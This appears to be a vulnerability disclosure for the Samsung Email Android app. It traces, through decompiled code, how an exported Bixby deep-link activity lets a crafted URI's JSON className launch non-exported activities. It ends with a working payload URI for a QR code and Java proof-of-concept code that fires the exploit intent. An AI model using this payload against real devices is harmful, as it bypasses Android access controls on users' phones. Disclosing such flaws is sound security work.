Issue details: There is en exported activity in com.samsung.android.email.provider app which accepts user-controlled data.
<activity
android:theme="@style/CustomEmptyTheme"
android:label="@string/empty_string"
android:name="com.samsung.android.email.provider.intelligence.bixby2.BixbyAppLinkActivity"
android:exported="true"
android:configChanges="screenSize|orientation">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<data
android:scheme="applink"
android:host="com.samsung.android.email.provider"/>
</intent-filter>
<meta-data
android:name="com.samsung.android.email.provider.core.components.name.metadata"
android:value="@string/email_activity_bixby_app_link_activity"/>
</activity>
The onCreate method of this activity calls handleIntent with a user-controlled Intent object. During the execution the data URI is extracted from the intent/** 1 **/, then split into list of path segments /** 2 **/ and switch statement is performed based on the first path segment /** 3 **/, which in this case is launch /** 4 **/. Then, the second /** 5 **/ and last path segments /** 6 **/ are sent as arguments to launchApplication /** 7 **/
void handleIntent(android.content.Intent intent) {
String action = intent.getAction();
android.net.Uri uri = intent.getData(); /** 1 **/
if ("android.intent.action.VIEW".equals(action)) {
if (uri != null) {
java.util.List<String> pathSegments = uri.getPathSegments(); /** 2 **/
if (pathSegments != null) {
if (pathSegments.size() > 0) {
String firstSegment = (String) pathSegments.get(0); /** 3 **/
if (!android.text.TextUtils.isEmpty(firstSegment)) {
int hashCode = firstSegment.hashCode();
int switchResult;
switch (hashCode) {
case -1109843021:
if (firstSegment.equals("launch")) {
switchResult = 0; /** 4 **/
break;
}
case 3619493:
if (firstSegment.equals("view")) {
switchResult = 1;
break;
}
case 95844769:
if (firstSegment.equals("draft")) {
switchResult = 2;
break;
}
case 950497682:
if (firstSegment.equals("compose")) {
switchResult = 3;
break;
}
case 1980393267:
if (firstSegment.equals("sentbox")) {
switchResult = 4;
break;
}
default:
switchResult = -1;
}
switch (switchResult) {
case 0:
String param1 = (String) uri.getPathSegments().get(1); /** 5 **/
String lastSegment = uri.getLastPathSegment(); /** 6 **/
if (uri.getPathSegments().size() <= 2) {
lastSegment = null;
}
launchApplication(param1, lastSegment); /** 7 **/
break;
case 1:
String lastPathSegmentView = uri.getLastPathSegment();
viewEmailContents(lastPathSegmentView);
break;
case 2:
String draftId = (String) uri.getPathSegments().get(1);
String accountId = (String) uri.getPathSegments().get(2);
openDraftEmail(draftId, accountId);
break;
case 3:
String lastPathSegmentCompose = uri.getLastPathSegment();
openComposer(lastPathSegmentCompose);
break;
case 4:
String lastPathSegmentSentbox = uri.getLastPathSegment();
openSentBox(lastPathSegmentSentbox);
break;
}
}
}
}
}
}
finish();
So, based on the data URI, the handleIntent calls launchApplication with two user-controlled strings. Within launchApplication new intent is created /** 8 **/, then the last path segment is mapped from JSON /** 9 **/, as the JSON object has className key /** 10 **/ the value gets extracted /** 11 **/ and passed into intent.setClassName /** 12 **/, which then gets called with startActivity /** 13 **/
private void launchApplication(String str, String str2) {
try {
if (Integer.valueOf(str).intValue() == -1) {
BixbyUtil.showToastMessage(this, getString(R.string.create_account), 1);
}
} catch (NumberFormatException unused) {
EmailLog.e(TAG, "launchApplication() failed, actionCode is invalid : " + str);
}
Intent intent = new Intent(this, ClassNameHandler.getClass(getString(R.string.email_activity_message_list_xl))); /** 8 **/
if (str2 != null) {
Map<String, Object> paramsFromJson = BixbyUtil.getParamsFromJson(str2); /** 9 **/
if (paramsFromJson.containsKey("className")) { /** 10 **/
String str3 = (String) paramsFromJson.get("className"); /** 11 **/
if (!TextUtils.isEmpty(str3)) {
intent.setClassName(this, str3); /** 12 **/
}
}
}
startActivity(intent); /** 13 **/
}
Affected products: Samsung Email application on Android (package name: com.samsung.android.email.provider)
Steps to reproduce:
Either:
1) Create a QR code with the following content: applink://com.samsung.android.email.provider/launch/pwned/{"className":"com.samsung.android.email.ui.settings.activity.PermissionActivityMain"}, scan it using the default QR code scanner that is accessible in the quick setting panel and follow the link. Observe that non-exported PermissionActivityMain is executed, bypassing Android’s standard access controls for internal app components.
2) Create a PoC application with the following code to prepare the Intent object:
// 1. Prepare payload with `className`.
String jsonPayload = "{\"className\":\"com.samsung.android.email.ui.settings.activity.PermissionActivityMain\"}";
// 2. Construct the full deep link URI.
// We use the payload as the last path segment.
String vulnerableUriString = "applink://com.samsung.android.email.provider/launch/pwned/" + jsonPayload;
// 3. Create the Intent.
Intent exploitIntent = new Intent(Intent.ACTION_VIEW);
// 4. Parse the string into a Uri object.
exploitIntent.setData(Uri.parse(vulnerableUriString));
// 5. Add this flag when starting an Activity from outside its own task.
exploitIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// 6. Launch the exploit.
startActivity(exploitIntent);
Refereces: